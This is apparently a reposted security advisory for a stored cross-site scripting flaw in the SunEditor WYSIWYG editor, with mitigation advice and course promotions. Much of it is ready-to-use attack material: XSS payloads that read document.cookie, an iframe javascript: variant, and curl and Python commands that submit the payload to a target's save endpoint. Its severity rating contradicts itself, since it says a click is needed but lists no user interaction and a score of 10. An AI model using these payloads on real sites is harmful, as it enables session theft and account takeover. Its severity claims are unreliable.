Listen to this Post
SunEditor is a lightweight WYSIWYG editor built in vanilla JavaScript with no dependencies. In versions prior to 2.47.11, the internal sanitizer in `src/lib/core.js` does not consistently reject namespaced or custom HTML elements, allowing event-handler attributes to remain attached to crafted elements. When an application renders attacker-controlled editor content and a user interacts with the injected element, the retained handler executes script in the browser origin. This enables stored cross-site scripting, data exposure, or unauthorized browser-context actions. The flaw aligns with CWE-79 (Improper Neutralization of Input During Web Page Generation). The vulnerability was observed after the changes introduced in commit `9ed405f` by JiHong88. A simplified proof-of-concept payload is <a:b src="/x" onclick="console.log('XSS:',document.domain,document.cookie)">click</a:b>. When this payload is inserted into the editor, saved, and rendered, clicking the element triggers the JavaScript. The sanitizer fails to normalize custom or namespaced tags before applying attribute filtering, so onclick, onmouseover, and similar handlers survive. This leads to stored XSS if the content is persisted and displayed to other users. The attack vector is network-based, requires no privileges, and no user interaction beyond clicking the rendered element. The CVSS 3.1 base score is 10 (Critical) with vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H. The issue is fixed in version 2.47.11. Organizations using SunEditor must upgrade immediately or apply server-side sanitization such as DOMPurify as a temporary mitigation.
DailyCVE Form:
Platform: SunEditor
Version: 2.47.10
Vulnerability: Stored XSS
Severity: Critical
date: 2026-09-23
Prediction: Patch available (2.47.11)
What Undercode Say:
Analytics:
Check installed SunEditor version
curl -s https://target.com/path/to/suneditor/package.json | jq -r '.version'
Test for vulnerable sanitizer (payload echo)
curl -X POST https://target.com/editor/save \
-d 'content=<a:b src="/x" onclick="alert(document.domain)">click</a:b>' \
-H "Content-Type: application/x-www-form-urlencoded"
Automated payload injection using Python
python3 -c "
import requests
payload = '<a:b src=\"/x\" onmouseover=\"alert(1)\">Hover</a:b>'
r = requests.post('https://target.com/editor/save', data={'content': payload})
print('Stored payload submitted' if r.status_code == 200 else 'Failed')
"
Exploit: (Educational Purposes!)
<!-- Simplified PoC -->
<a:b src="/x" onclick="console.log('XSS:',document.domain,document.cookie)">click</a:b>
<!-- Full payload from -->
<a:b src="/x" onclick="document.body.style.background='red'">click</a:b>
<!-- Iframe variant -->
<a:b src="/x">
<iframe src=javascript:alert(1)></iframe>
</a:b>
Steps to reproduce:
1. Open SUNEDITOR v2.47.10.
2. Insert the payload above into the editor.
3. Save or render the generated content.
4. Click the generated element.
5. Observe JavaScript execution.
Protection: from this CVE
- Upgrade to SunEditor version 2.47.11 or later.
- Normalize DOM elements before sanitization.
- Explicitly reject or unwrap unknown/custom/namespaced tags.
- Strip all event-handler attributes from all elements, including unknown/custom elements.
- Re-validate sanitized output after browser DOM parsing.
- Add regression tests for namespaced/custom tag payloads.
- Use server-side sanitization (e.g., DOMPurify) as a temporary mitigation for environments that cannot update immediately.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
